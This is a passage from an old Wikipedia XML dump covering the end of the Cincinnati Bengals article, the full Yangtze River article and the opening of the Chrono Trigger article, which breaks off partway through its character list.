Wyche recalled that before the '88 AFC title game the Buffalo Bills had seemingly convinced league officials to penalize the Bengals for running a no-huddle offense. In a statement made to the Bengals' press in 2005, he relayed &quot;The NFL was nice enough to come to us an hour and 55 minutes before the game and tell us we would be given a 15-yard penalty every time we used it. Of course we had practiced it all week. We told them if they wanted to answer to the public for changing the competitive balance of the AFC championship game, that was up to them, but we were using it. They never dropped a flag.&quot; 

The ironic part was afterwards the Bills began to employ the no-huddle (with [[Jim Kelly]]) and used it to near-perfection, winning the AFC title four years straight.

===West Coast Offense/Paul Brown's Offense===
The [[West Coast Offense]], which is commonly employed by many teams (most notably, it was used by San Francisco during their dynasty, and the Buffalo Bills during their domination of the AFC) is the popular name for the high-percentage passing scheme designed by Paul Brown and Bill Walsh. This play scheme was used by Ken Anderson during the Bengals' initial Super Bowl run.

==Season-by-season records==
{{Start NFL SBS|#F04A1E}}
|-
| colspan=&quot;6&quot; align=&quot;center&quot; | '''Cincinnati Bengals (AFL)'''
|-
|1968 || 3 || 11 || 0 || 5th West (AFL) || --
|-
|1969 || 4 || 9 || 1 || 5th West (AFL) || --
|-
| colspan=&quot;6&quot; align=&quot;center&quot; | '''Merged into NFL'''
|-
|1970 || 8 || 6 || 0 || 1st AFC Central || Lost [[NFL playoffs, 1970-71|Divisional Playoffs]] ([[Indianapolis Colts|Colts]])
|-
|1971 || 4 || 10 || 0 || 4th AFC Central || --
|-
|1972 || 8 || 6 || 0 || 3rd AFC Central || --
|-
|1973 || 10 || 4 || 0 || 1st AFC Central || Lost [[NFL playoffs, 1973-74|Divisional Playoffs]] ([[Miami Dolphins|Dolphins]])
|-
|1974 || 7 || 7 || 0 || 2nd AFC Central || --
|-
|1975 || 11 || 3 || 0 || 2nd AFC Central || Lost [[NFL playoffs, 1975-76|Divisional Playoffs]] ([[Oakland Raiders|Raiders]])
|-
|1976 || 10 || 4 || 0 || 2nd AFC Central || --
|-
|1977 || 8 || 6 || 0 || 3rd AFC Central || --
|-
|1978 || 4 || 12 || 0 || 4th AFC Central || --
|-
|1979 || 4 || 12 || 0 || 4th AFC Central || --
|-
|1980 || 6 || 10 || 0 || 4th AFC Central || --
|-
|1981 || 12 || 4 || 0 || 1st AFC Central || Lost [[Super Bowl XVI]] ([[San Francisco 49ers|49ers]])
|-
|1982 || 7 || 2 || 0 || 3rd AFC Conf. || Lost [[NFL playoffs, 1982-83|First Round]] ([[New York Jets|Jets]])
|-
|1983 || 7 || 9 || 0 || 3rd AFC Central || --
|-
|1984 || 8 || 8 || 0 || 2nd AFC Central || --
|-
|1985 || 7 || 9 || 0 || 2nd AFC Central || --
|-
|1986 || 10 || 6 || 0 || 2nd AFC Central || --
|-
|1987 || 4 || 11 || 0 || 4th AFC Central || --
|-
|1988 || 12 || 4 || 0 || 1st AFC Central || Lost [[Super Bowl XXIII]] ([[San Francisco 49ers|49ers]])
|-
|1989 || 8 || 8 || 0 || 4th AFC Central || --
|-
|1990 || 9 || 7 || 0 || 1st AFC Central || Lost [[NFL playoffs, 1990-91|Divisional Playoffs]] ([[Oakland Raiders|Raiders]])
|-
|1991 || 3 || 13 || 0 || 4th AFC Central || --
|-
|1992 || 5 || 11 || 0 || 4th AFC Central || --
|-
|1993 || 3 || 13 || 0 || 4th AFC Central || --
|-
|1994 || 3 || 13 || 0 || 3rd AFC Central || --
|-
|1995 || 7 || 9 || 0 || 2nd AFC Central || --
|-
|1996 || 8 || 8 || 0 || 3rd AFC Central || --
|-
|1997 || 7 || 9 || 0 || 4th AFC Central || --
|-
|1998 || 3 || 13 || 0 || 5th AFC Central || --
|-
|1999 || 4 || 12 || 0 || 5th AFC Central || --
|-
|2000 || 4 || 12 || 0 || 5th AFC Central || --
|-
|2001 || 6 || 10 || 0 || 6th AFC Central || --
|-
|2002 || 2 || 14 || 0 || 4th AFC North || --
|-
|2003 || 8 || 8 || 0 || 2nd AFC North || --
|-
|2004 || 8 || 8 || 0 || 3rd AFC North || --
|-
|2005 || 11 || 5 || 0 || 1st AFC North || Lost [[NFL playoffs, 2005-06|Wild Card playoffs]] ([[Pittsburgh Steelers|Steelers]])
{{end box}}
^As of the end of the [[2005 NFL season]], the Bengals All-Time Record is 258-334-1 (including playoffs).

==Players of note==
===Current roster===
{{Template:Cincinnati Bengals roster}}

===[[Pro Football Hall of Fame]]rs===
*[[Anthony Muñoz]], Mutliple Pro-Bowl offensive tackle from 1980 - 1992
*[[Paul Brown]], Innovative head coach and owner. Mostly enshrined due to career with the [[Cleveland Browns]].

===Retired numbers===
54 [[Bob Johnson (football)|Bob Johnson]] Offensive lineman, 1st ever draft pick of the Bengals.

===Reserved numbers===
Although these jersey numbers were not officially retired, they are not used in the regular season as an unofficial tribute to the former players.
* 7 [[Boomer Esiason]]
:After Esiason left the Bengals following the 1992 season, David Klingler wore #7. Boomer wore #7 after returning to the Bengals in 1997. No Bengal player has worn #7 since 1997.
* 13 [[Ken Riley]]
:Worn by punter Dan Pope later in Bengals history, but no other players since
* 14 [[Ken Anderson]] 
* 69 [[Tim Krumrie]]
* 78 [[Anthony Muñoz]]

===Current Staff===
*General Manager - [[Mike Brown (football team owner)|Mike Brown]]
*Head Coach - [[Marvin Lewis]]
*Offensive Coordinator - [[Bob Bratkowski]]
*Defensive Coordinator - [[Chuck Bresnahan]]
*Special Teams Coach - [[Darrin Simmons]]
*Quarterbacks Coach - [[Ken Zempese]]
*Running Backs Coach - [[Jim Anderson (football coach)|Jim Anderson]]
*Wide Receivers Coach - [[Hugh Jackson]]
*Tight Ends Coach - [[Jonathan Hayes (football coach)|Janathan Hayes]]
*Offensive Line Coach - [[Paul Alexander]]
*Offensive Assistant - [[Bob Surace]]
*Defensive Line Coach - [[Jay Hayes]]
*Linebackers Coach - [[Ricky Hunley]]
*Defensive Backs Coach - [[Kevin Coyle]]
*Strength and Conditioning - [[Ray Oliver]]

==External links==
*[http://www.bengals.com/ Cincinnati Bengals official web site]
*[http://www.sportsecyclopedia.com/nfl/cincy/bengals.html Sports E-Cyclopedia.com]

{{NFL}}

[[Category:1968 establishments]]
[[Category:American Football League]]
[[Category:Cincinnati Bengals|Cincinnati Bengals]]
[[Category:National Football League teams]]

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  </page>
  <page>
    <title>Yangtze River</title>
    <id>6613</id>
    <revision>
      <id>41576922</id>
      <timestamp>2006-02-28T06:40:05Z</timestamp>
      <contributor>
        <username>AjaxSmack</username>
        <id>353866</id>
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      <minor />
      <comment>/* Trivia */ copy edit</comment>
      <text xml:space="preserve">{{Infobox_river | river_name = Yangtze River
  | image_name = Yangtze_River_Map.png
  | caption = The course of the Yangtze River through China
  | origin = [[Qinghai Province]] and [[Tibet]]
  | mouth = [[East China Sea]]
  | basin_countries = [[China]]
  | length = 6,380 km (3,965 mi)
  | elevation = 6,548 m (21,484 ft)
  | discharge = 31,900 m&amp;sup3;/s (1,126,708 ft&amp;sup3;/s)
  | watershed = 1,800,000 km&amp;sup2; (694,980 mi&amp;sup2;)
}}
[[Image:Yangzi River gorge.jpg|right|thumb|240px|Afternoon light on the jagged grey mountains rising from the Yangtze River gorge]]

The ''Yangtze River'' or ''Chang Jiang'' is the longest [[river]] in [[Asia]] and the third longest in the world after the [[Amazon River|Amazon]] in [[South America]] and the [[Nile]] in [[Africa]]. The name 'Yangtze River', also spelt ''Yangtse River'', ''Yangtze Kiang'', etc. is derived from ''Yangzi Jiang'' ({{zh-stp|s=扬子江|t=揚子江|p=Yángzǐ Jiāng}}), the Chinese name for the river in its lower reaches. The modern Chinese name, 'Chang Jiang' ({{zh-stp|t=長江 |s=长江|p=Cháng Jiāng}}), literally means 'Long River' and is increasingly being adopted as the standard name in English. 
 
The river is about 6,380 [[Kilometre|km]] long and flows from its source in the western part of China ([[Qinghai Province]]) eastwards into the [[East China Sea]]. It has traditionally been considered a dividing point between [[northern and southern China]], although the [[Huai River]] also shares the claim.

== Names == 

&lt;!-- Image with unknown copyright status removed: [[Image:Origin of Yangzi River.jpg|right|thumb|240px|Bird's eye view of the origin of Yangtze river]] --&gt;

Like many rivers, the Yangtze / Chang Jiang is known by different names over different parts of its course. At its source the river is known in Chinese as the '''Dangqu''' (当曲/當曲). Downstream it is called the '''Tuotuo''' River (沱沱河) and then the '''Tongtian''' River (通天河). Where it runs through deep gorges in parallel to the [[Mekong]] and the [[Salween]] before emerging onto the plains of [[Sichuan]] it is famous as the '''Jinsha''' River (&amp;#37329;&amp;#27801;&amp;#27743; J&amp;#299;nsh&amp;#257;-ji&amp;#257;ng or 'Golden Sands River'). The name '''Yangzi''' was originally used by local people in the river's lower reaches. Because it was the name first heard by missionaries and traders, it was applied in English to the entire river. In Chinese ''Yangzi Jiang'' is considered a historical or poetic name for the river.

The Yangtze was earlier known to the Chinese as the '''Da Jiang''' (大江, Dà Jiāng) or 'Great River'. The Tibetan name for the river is '''Vbri-chu''' (འབྲི་ཆུ་ 'river of the female yak'). The Yangtze is sometimes referred to as the ''Golden Waterway''.

== Geography ==
The river originates in a glacier in the Dangla mountains on the eastern part of [[Tibetan plateau]]. It then runs through the eastern part of [[Qinghai]], turning southward down a deep valley at the border of [[Sichuan]] and [[Tibet]] to reach [[Yunnan]]. In the course of this valley, the river's elevation drops from above 5000 m to less than 1000 m. It enters the basin of [[Sichuan]] at [[Yibin]]. While in the Sichuan basin it receives several mighty tributaries, increasing its water volume significantly. The river then cuts through [[Mount Wushan]] bordering [[Chongqing]] and [[Hubei]] to create the famous [[Three Gorges]]. Eastward of the Three Gorges, [[Yichang]] is the first city on the Yangtze Plain. In [[Hubei]], the Yangtze receives more water from thousands of lakes. The largest of these is [[Dongting Lake]], which is mainly located in [[Hunan]] province and is the outlet for most of the rivers in [[Hunan]]. At [[Wuhan]] it receives its biggest tributary, the [[Han River (Hanshui)|Han River]], bringing water from its northern basin as far as [[Shanxi]]. At the northern tip of Jiangxi, another lake, [[Lake Boyang]] flows into the river. The river then runs through [[Anhui]] and [[Jiangsu]] provinces, receiving more water from smaller lakes and rivers, before finally reaching the East China Sea at [[Shanghai]]. Actually, four of China's five main freshwater lakes contribute their waters to the Yangtze River. Traditionally, the upstream part of the Yangtze River refers to the section from [[Yibin]] to [[Yichang]]; the middle part refers to the section from [[Yichang]] to [[Hukou]], where Boyang Lake meets the river; the downstream part is from [[Hukou]] to [[Shanghai]].

==Characteristics==
[[Image:Yangzi_river_shrines_on_hill_top.jpg|thumb|240px|right|Tombs on a hill facing the Yangtze as it flows by]]

The Yangtze flows into the East China Sea and was navigable by ocean-going vessels up to a thousand miles from its mouth even before the [[Three Gorges Dam]] was built. As of [[June 2003]], the [[Three Gorges Dam]] now spans the river, flooding [[Fengjie]], the first of a number of towns affected by the massive flood control and power generation project.  The project is the largest comprehensive [[irrigation]] project in the world. Proponents of the dam argue that it will free people living along the river from [[floods]] that have repeatedly threatened them in the past, and will also offer them [[electricity]] and [[water transport]] - though at the expense of permanently flooding many existing towns (including numerous ancient cultural relics) and causing large-scale changes in the local [[ecology]].

Opponents of the dam point out that there are three different kinds of floods on the Yangtze River: floods which originate in the upper reaches, floods which originate in the lower reaches, and floods along the entire length of the river.  They argue that the Three Gorges dam will actually make flooding in the upper reaches of the river worse and have little or no impact on floods which originate in the lower reaches. 

The river is the sole habitat of the critically [[endangered]] [[Chinese River Dolphin]] and [[Chinese paddlefish]].

Yangtze River is flanked with metallurgical, power, chemical, auto, building materials and machinery industrial belts, and high-tech development zones. It is playing an increasingly crucial role in the river valley's economic growth and has become a vital link for international shipping to the inland provinces. The river is a major transportation artery for China connecting the interior with the coast. The Yangtze River is one of the world's busiest waterways. River traffic includes commercial traffic transporting bulk goods such as coal as well as manufactured goods and passengers. Cargo transportation on the Yangtze River reached 795 million tons in 2005 [http://news.xinhuanet.com/english/2006-01/23/content_4089542.htm] [http://news.xinhuanet.com/english/2006-02/04/content_4133140.htm]. River cruises of several days duration especially through the beautiful and scenic [[Three Gorges]] area are becoming popular as the tourism industry grows in China.

Flooding along the river has been a major problem. The rainy season in China is May and June in areas south of Yangtze River, and July and August in areas north of river. The huge river system receives water both from southern and northern flanks, which causes its flood season to extend from May to August. Meanwhile, the relatively dense population and rich cities along the river make the floods more deadly and costly. The most recent major floods were the [[1998 Yangtze River Floods]], but more disastrous were the [[1954 Yangtze river floods]], killing around 30,000 people.  Other severe floods included those of [[1911 Yangtze river floods|1911]] which killed around 100,000, [[1931 Yangtze river floods|1931]] (145,000 dead), and [[1935 Yangtze river floods|1935]] (142,000 dead).

== History ==
The Yangtze river occupies an important place in the cultural origins of southern China. Human activity was found in the Three Gorges area as far back as 2 million years ago, initiating debate over the origin of the Chinese people.[http://www.nature.com/nature/journal/v378/n6554/abs/378275a0.html] In the [[Spring and Autumn Period]], [[Ba (state)|Ba]] and [[Shu (state)|Shu]] were located in the western part of the river, covering modern Sichuan, Chongqing, and western Hubei; [[Chu (state)|Chu]] was located in the central part of river, corresponding to [[Hubei]], [[Hunan]], [[Jiangxi]], and southern [[Anhui]]. [[Wu (state)|Wu]] and [[Yue (state)|Yue]] were located in the eastern part of the river, now [[Jiangsu]], [[Zhejiang]], and [[Shanghai]]. Although the Yellow River region was richer and more developed at that time, the milder climate and more peaceful environment made the Yangtze river area more suitable for agriculture. From the [[Han]] dynasty, the region of the Yangtze river became more and more important in China's economy. The establishment of irritation systems (the most famous one is [[Dujiangyan]], northwest of Chengdu, built during the [[Warring States]] period) made agriculture very stable and productive. Early in the Qing dynasty, the region called &quot;[[Jiangnan]]&quot; (includes the southern part of [[Jiangsu]], the northern part of [[Zhejiang]], and the southeastern part of [[Anhui]]) provided 1/3-1/2 of the nation's revenues. 
Historically, the mighty Yangtze river became the political boundary between north China and south China several times (see [[History of China]]) because of the difficulty of crossing the river. A lot of battles took place along the river, the most famous being the [[Battle of Red Cliffs]] in 208 AD during the [[Three Kingdoms]] period.
Politically, [[Nanjing]] was the capital of China several times, although most of the time its territory only covered the southeastern part of China, such as the [[Wu]] kingdom in the Three Kingdoms period, the [[Eastern Jin Dynasty]], and smaller countries in the [[Northern and Southern Dynasties]]  and [[Five Dynasties and Ten Kingdoms]] periods. Only the [[Ming]] occupied most parts of China from their capital at [[Nanjing]]. The [[ROC]] capital was located in [[Nanjing]] in the periods 1911-1912, 1927-1937, 1945-1949.

== Major cities along the river ==
[[image:Lower_yangtze_3.png|thumb|550px|right|Cities along the Chang Jiang, between Wuhan and Shanghai]]
[[Image:Yangzi_river_coal_barge_loading_point.jpg|thumb|300px|right|A loading point for coal barges on the Yangtze River]]
*[[Panzhihua]]
*[[Yibin]]
*[[Luzhou]]
*[[Chongqing]]
*[[Yichang]]
*[[Jingzhou]]
*[[Shishou]]
*[[Yueyang]]
*[[Xianning]]
*[[Wuhan]]
*[[Ezhou]]
*[[Huangshi]]
*[[Huanggang]]
*[[Chaohu]]
*[[Chizhou]]
*[[Jiujiang]]
*[[Anqing]]
*[[Tongling]]
*[[Wuhu]]
*[[Hefei]]
*[[Chuzhou]]
*[[Maanshan]]
*[[Taizhou, Jiangsu|Taizhou]]
*[[Yangzhou]]
*[[Zhenjiang]]
*[[Nanjing]]
*[[Nantong]]
*[[Shanghai]]

==Tributaries==

[[Image:Yangzi_river_ship_yard_on_river_bank.jpg|300px|thumb|right|A shipyard on the banks of the Yangtze building commercial river freight boats]]

* [[Ya-Lung River]]
* [[Minjiang River]]
* [[Daduhe River]]
* [[Tuojiang River]]
* [[Jialing River]]
* [[Wujiang River]]
* [[Qingjiang]] &lt;!-- I suspect the other tributaries are already in the right order... --&gt;
* [[Xiang River|Xiangjiang]]
* [[Lishui River|Lishui]] (Li)
* [[Zijiang River|Zijiang]] ([[Zi River|Zi]])
* [[Yuanjiang River|Yuanjiang]] ([[Yuan River|Yuan]])
* [[Han River (Hanshui)|Han River]]
* [[Ganjiang River]]
* [[Huangpu River]]

==Trivia==
*[[Cheung Kong Holdings]], from the [[Cantonese (linguistics)|Cantonese language]] form of ''Chang Jiang'' and named after the river, is the name of the [[holding company]] controlled by [[Li Ka-Shing]], one of Asia's richest [[tycoon]]s.

*In [[2004]] [[Martin Strel]] from [[Slovenia]] swam the river from the Tiger Leaping Gorge to [[Shanghai]] (4600 km, 2860 miles).

* The Yangtze is home to (at least) two critically endangered species:  The [[Chinese River Dolphin]] and the [[Chinese Alligator]].

== See also ==
*[[Yangtze River Delta]]
*[[List of rivers in China]] 
*[[Three Gorges Dam]]
*[[Geography of China]]
*[[Yangtze Service Medal]]
*[[Dragon Boat]]
*[[Ship lifts in China]]
[[Image:YangtzeCruise.jpg|150px|thumb|right|Cruising through the [[Three Gorges]] along the Yangtze River]]

==Further reading==
*Van Slyke, Lyman P. 1988. ''Yangtze: nature, history, and the river''. A Portable Stanford Book. ISBN 0-201-08894-0
*Winchester, Simon. 1996. ''The River at the Center of the World:A Journey up the Yangtze &amp; Back in Chinese Time'', Holt, Henry &amp; Company, 1996, hardcover, ISBN 0805038884; trade paperback, Owl Publishing, 1997, ISBN  0805055088;  trade paperback, St. Martins, 2004, 432 pages, ISBN 0312423373

[[Category:Rivers of China]]

[[ar:يانغتسي]]
[[cs:Jang-c'-ťiang]]
[[da:Yangtze]]
[[de:Jangtse]]
[[et:Jangtse]]
[[es:Yangzi]]
[[eo:Jangzio]]
[[fr:Yangzi Jiang]]
[[ko:양쯔 강]]
[[id:Sungai Panjang]]
[[it:Chang Jiang]]
[[he:יאנגטסה]]
[[lt:Jangdzė]]
[[nl:Jangtsekiang]]
[[ja:長江]]
[[no:Chang Jiang]]
[[pl:Jangcy]]
[[ru:Янцзы (река)]]
[[sa:चांग जियांग]]
[[sk:Jang-c'-ťiang]]
[[fi:Jangtse]]
[[sv:Chang Jiang]]
[[vi:Dương Tử]]
[[uk:Янцзи]]
[[zh:长江]]</text>
    </revision>
  </page>
  <page>
    <title>Chrono Trigger</title>
    <id>6614</id>
    <revision>
      <id>42090565</id>
      <timestamp>2006-03-03T19:39:34Z</timestamp>
      <contributor>
        <ip>128.223.121.197</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox CVG| title = Chrono Trigger
|image = [[Image:Chrono Trigger Front Cover.jpg|250px|center|''Chrono Trigger's'' US cover art shows the party casting the triple tech &quot;Arc Impulse.&quot;]]
|developer = [[Square Co., Ltd.]]
|publisher = [[Square Co., Ltd.]]&lt;br /&gt;[[Square Electronic Arts|Square EA]] &lt;small&gt;(''Final Fantasy Chronicles'')&lt;/small&gt;
|designer = [[Hironobu Sakaguchi]]&lt;br /&gt;[[Yuji Horii]]
|composer = &lt;!--[[Yasunori Mitsuda]]--&gt;
|engine =
|released = &lt;span style=&quot;white-space: nowrap; font-size: smaller;&quot;&gt;[[March 11]], [[1995]] ''(SNES, Japan)'' &lt;br&gt; [[August 22]], [[1995]] ''(SNES, N. America)'' &lt;br&gt; [[November 2]], [[1999]] ''(PS, Japan)'' &lt;br&gt; [[June 29]], [[2001]] ''(PS, N. America) — as''&lt;br&gt;''Final Fantasy Chronicles&lt;/span&gt;
|genre = [[Computer role-playing game|Role-playing game]]
|modes = [[Single player]]
|ratings = ''(PlayStation version only)''&lt;br /&gt;[[Entertainment Software Rating Board|ESRB]]: [[Image:ESRB_T.png|12px|T]] Teen
|platforms = [[Super Famicom]]; [[Super Nintendo Entertainment System|Super NES]]; [[PlayStation]]
|media = 32[[megabit|Mb]] (4[[MB]]) [[SNES]] [[cartridge (electronics)|cartridge]]; [[PlayStation]] [[CD-ROM]]
|requirements =
|input = SNES or Playstation controller
|SRAM Size = 64[[kbit|Kb]] (8[[KB]])
|type = 02
|speed = 31/FastROM
|ROM Map = HiROM
|kart contents = ROM+RAM+BAT
|actual Checksum = 788C
|header Checksum = 788C
}}
'''''Chrono Trigger''''' (クロノ・トリガー) is a [[computer role-playing game|role-playing game]] that was released in [[Japan]] on [[March 11]], [[1995]] for the [[Super Famicom]] and in [[North America]] on [[August 22]], 1995 for the [[Super Nintendo Entertainment System]] (SNES).  The game was re-released in [[1999]] for the [[Sony Computer Entertainment|Sony]] [[PlayStation]] (PS) in Japan and in [[2001]] as a part of the ''[[Final Fantasy Chronicles]]'' package in North America, alongside ''[[Final Fantasy IV]]''. The game has never been released in [[PAL_Region|PAL]] territories.

''Chrono Trigger'' was supervised by a group referred to as &quot;The Dream Team&quot;,  consisting of [[Hironobu Sakaguchi]] (producer of the ''[[Final Fantasy]]'' series), [[Yuji Horii]] (director of the ''[[Dragon Quest]]'' games), character designer [[Akira Toriyama]] (of ''[[Dragon Ball]]'' and ''[[Dragon Quest]]'' fame), venerable producer [[Kazuhiko Aoki]], and [[Nobuo Uematsu]] (of ''[[Final Fantasy]]'' fame). Other noteworthy people involved in the game development were the music composer [[Yasunori Mitsuda]], who  composed over 80% of the score, and scenarist [[Masato Kato]], both unknown at that time but later famous for ''[[Xenogears]]'' and ''[[Xenosaga]]''.

At the time of its release the ideas behind the game were seen as revolutionary, involving multiple endings, a dramatic story with multiple character-enhancing side-stories, a novel battle system, and detailed and beautiful graphics. It also makes many references to names and events in mythology, legends and history.

It is still hailed by fans as one of the greatest games of all time, despite the &quot;primitive&quot; graphics by today's standards.  ''Chrono Trigger'' placed highly in all three versions of [[IGN]]'s top 100 games of all time.  The first version in [[2002]] listed it as the fourth greatest, the second in early [[2005]] as the sixth, and the third in late 2005 as the thirteenth.


==Plot==
{{spoiler}}
[[Image:Chrono Trigger Title Screen.png|thumb|256px|left|The title screen of the North American version]]
''Chrono Trigger'' is about a group of adventurers who [[time travel|travel across time]] to save the planet's future. Along the way they recruit allies from other time periods in to defeat the [[extraterrestrial|alien]] [[parasite]] [[Lavos]] that is slowly destroying their world. The player eventually may recruit up to seven playable characters: [[Crono]], the main hero, [[Marle (Chrono Trigger)|Marle]], the rebellious princess, [[Lucca (Chrono Trigger)|Lucca]], the genius inventor, [[Robo (Chrono Trigger)|Robo]], the robot outcast, [[Frog (Chrono Trigger)|Frog]], the amphibious knight, [[Ayla (Chrono Trigger)|Ayla]], the wild cave-woman, and, optionally, the dark wizard [[Magus (Chrono Trigger)|Magus]]. The group travels via time gates and the flying time machine [[Epoch (Chrono Trigger)|Epoch]] to seven different time periods: the [[prehistory|Prehistoric]] era ([[65,000,000 B.C. (Chrono Trigger)|65,000,000 B.C.]]), the Dark Ages ([[12,000 B.C. (Chrono Trigger)|12,000 B.C.]]), the [[Middle Ages]] ([[600 A.D. (Chrono Trigger)|A.D. 600]]), the [[present (time)|Present]] time ([[1000 A.D. (Chrono Trigger)|A.D. 1000]]), the [[Apocalypse]] ([[1999 A.D. (Chrono Trigger)|A.D. 1999]]), the post-apocalyptic [[Future]] ([[2300 A.D. (Chrono Trigger)|A.D. 2300]]), and the very [[End of Time (Chrono Trigger)|End of Time]] itself. 

===The Chrono Trigger===
[[Image:Chrono Trigger logo.gif|thumb|right|The ''Chrono Trigger'' logo]]
The titular Chrono Trigger (also known as the ''Time Egg'') is a small device that manipulates the flow of [[causality]]. As [[Gaspar (Chrono Trigger)|Gaspar]] explains, the Chrono Trigger will have an effect equal to the effort one puts into its use; no more, no less.  Crono, who perishes at the hands of Lavos in 12,000 B.C., is critical to the [[spacetime|space-time continuum]] and his friends spare no expense in their efforts to revive him (or more correctly, prevent him from ever dying). The Chrono Trigger, receiving both these sentiments, hatches and thus revives Crono to life. It should be noted, however, that this event is entirely optional and prompts different endings depending on the player's choice. ''Chrono Trigger's'' sequel, ''[[Chrono Cross]]'', later explained that the phrase &quot;Chrono Trigger&quot; is a reference to anything that has the power to affect its will and change history.

==Gameplay characteristics==

While all of the other characters have many lines of dialogue, [[Crono]] (the main character) is a [[silent protagonist]], who is never given voiced dialogue (except briefly in the &quot;A Slide Show&quot; ending), although characters do react to him when the player makes a plot-point decision. Although this quirk was very common in RPGs of the time, such as ''[[Breath of Fire]]'' or ''[[Suikoden]]'', Crono and ''Chrono Trigger'' have become almost universally identified as originating the archetypal silent protagonist.

[[Image:ChronoTriggerInside.PNG|thumb|256px|Battle in the North American version of ''Chrono Trigger'']]
[[Image:Chrono Trigger JAP Battle Screenshot.png|thumb|256px|Battle at the End of Time in the Japanese version of ''Chrono Trigger'']]

''Chrono Trigger'' uses an [[Active Time Battle]] (ATB) system.  Each character in the player's three-member party can take action after a certain period of time has passed, which is dependent on the character's Speed stat.  Characters can attack with an equipped weapon, use items, or invoke &quot;Techs&quot;.  The game also features no battles on the overworld map that were commonplace in many other RPGs of its time.  Instead, monsters only appear in the game's dungeons, where they can be seen wandering about onscreen and possibly avoided, if the player so desires.  Should the encounter happen, however, the enemies will jump into combat directly on the map, instead of the game moving to a removed and generic battle screen, which was unique and is still one of the most identifiable aspects of this game, because it is seldom seen, if at all.

In battle, all the [[player character]]s can use unique skills called Techs.  Techs are special attacks or support abilities that, when used, deplete a character's [[Magic point|Magic Points]] (MP). The stronger the Tech, the more MP it requires. Each character has eight different Techs, many of which can be combined with another character's Techs to create Double and Triple Techs (assuming that all participants are free to act).  For instance, Crono's &quot;Cyclone&quot; Tech (a [[Link (Legend of Zelda)|Link]]-style sword spin) can be combined with Lucca's &quot;Fire Toss&quot; to create &quot;Fire Whirl.&quot;  The positions of the player's characters, relative to enemy monsters, are important for many techs. For example, Crono's &quot;Slash&quot; will only hit enemies who are aligned in a straight line.  Other Techs hit only enemies within a certain radius, only those near the character who uses them, or simply all enemies on the screen.

A feature of the ''Chrono Trigger'' [[game engine|engine]] is its event tracking system, which is used to update the save screen's &quot;chapter title&quot;, change certain characters' dialogue, and alter the maps to conform to the current position in the story. It is also used for bug and consistency checking. If events happen out of order (such things can happen if the cartridge's save RAM (SRAM) is corrupt, or if the player uses a [[Game Genie]] code to walk through walls and skip over certain events), the [[Nu (Chrono Trigger)|Nu]] will appear in front of the doorway to Epoch's construction bay in 2300 A.D. and proclaim: &quot;The Time Axis is out of alignment.&quot; Aside from this warning, the game will continue normally, which can allow for such things as already having the character Magus in one's party during a scripted battle against this character.

Some players consider one of the main problems with the game to be its short play time. It takes approximately 20 to 25 hours to complete the game, which is a very short timespan for an SFC/SNES [[computer role-playing game|RPG]] (''[[Dragon Quest VI]]'', for instance, takes about 100 hours), although it does take about 60-70 hours to max out everyone's stats. To mitigate the problem of length, the developers of the game created multiple endings that the player could earn, including several secret endings, combined with the &quot;New Game+&quot; feature. Once the game is beaten, the player may choose to start a new game using data from the previous session, such as character levels, techniques learned, and equipment and items gathered. Money and a few special items  important to the storyline are not kept, however. New Game+ allows the player to confront the final boss at almost any point in the game.  The player's progress through the storyline ''prior'' to the confrontation determines which of the thirteen endings[http://www.personal.psu.edu/faculty/w/r/wrp103/wrp/ct_end.html] (some with minute variations depending on game choices) the player will see.  Only a few of the endings are possible during the first time playing the game because of the low levels of the characters.  Square has used the New Game+ concept in later games, such as ''[[Chrono Cross]]'' and ''[[Final Fantasy X-2]]''.

==Playable characters==

{{spoiler}}
*'''[[Crono]]''' (クロノ ''kurono'') - The main character. He lives with his mother (Gina, in the Japanese version) in the town of Truce, under the rule of the Guardia Kingdom. He meets a girl who calls herself Marle at the Millennial Fair and is later accused of kidnapping her. In [[12,000 B.C. (Chrono Trigger)|12,000 B.C.]] when the party is confronted with [[Lavos]] in the Ocean Palace of the [[Kingdom of Zeal]], he sacrifices himself to save his friends. Later, the party can revive him using the Time Egg. His dialogue is never displayed, but implied through character reaction and gestures. There are two exceptions to this, one being in one possible ending, and the second being when the player must select between choices of things for Crono to say. He uses a [[katana]] as a weapon and once he obtains magical ability, his techs become lightning-oriented. The name may likely be intended to be &quot;Chrono,&quot; with the missing 'h' simply due to the restriction of character names to only five characters.

*'''[[Marle (Chrono Trigger)|Marle]]''' (マール ''māru'') - The tomboy princess of Guardia. Her real name is Princess Nadia, and she is at odds with her father, the king. Bored of her life in the castle, she slips out to the Millennial Fair in Truce. Here, she meets Crono and tries out Lucca's teleporter, which reacts with Marle's pendant and creates a timewarp, sending her to [[600 A.D. (Chrono Trigger)|600 A.D.]] where she is mistaken for the missing Queen Leene. This causes the search for the real Leene to be called off, creating a [[paradox]], which destroys Marle's existence until Crono and Lucca reverse it by finding and saving the real Leene. Marle uses a [[crossbow]] as her weapon and when she gains the ability to use [[magic (gaming)|magic]], she learns to use Ice spells and some of the most powerful healing spells in the game.

*'''[[Lucca_(Chrono_Trigger)|Lucca]]''' (ルッカ ''rukka'') - The genius inventor. Using her intelligence and creativity, Lucca Ashtear invented many devices, such as a battle-training robot named Gato (&quot;Gonzales&quot; in the Japanese version) and a short-range teleporter. She blames herself for her mother's injury that left her legs unusable, but later has the opportunity to revisit the incident and change the events. At the Millennial Fair, the teleporter seemingly fails and sends Marle back through time leading her and Crono on their adventure. Lucca battles with a [[gun]] and when spells become available she gains the ability to cast Fire magic.

*'''[[Frog_(Chrono_Trigger)|Frog]]''' (カエル ''kaeru'') - A knight from 600 A.D., whose real name is Glenn. He was a squire under [[Cyrus (Chrono Trigger)|Cyrus]], a &quot;Knight of the Square Table.&quot; He later witnessed Magus killing Cyrus, and shortly afterwards, was transformed into an [[anthropomorphic]] frog by the dark wizard. Frog dedicates his life to protecting Queen Leene and vows to avenge Cyrus by killing Magus. He is the true bearer of the [[Masamune_(video_game_weapon)|Masamune]], an ancient sword, which is Magus' one true weakness. Frog can later put Cyrus's ghost to rest and has the opportunity to either defeat or ally himself with Magus. Frog wields a [[broadsword]] and can learn Water magic once he meets Spekkio.

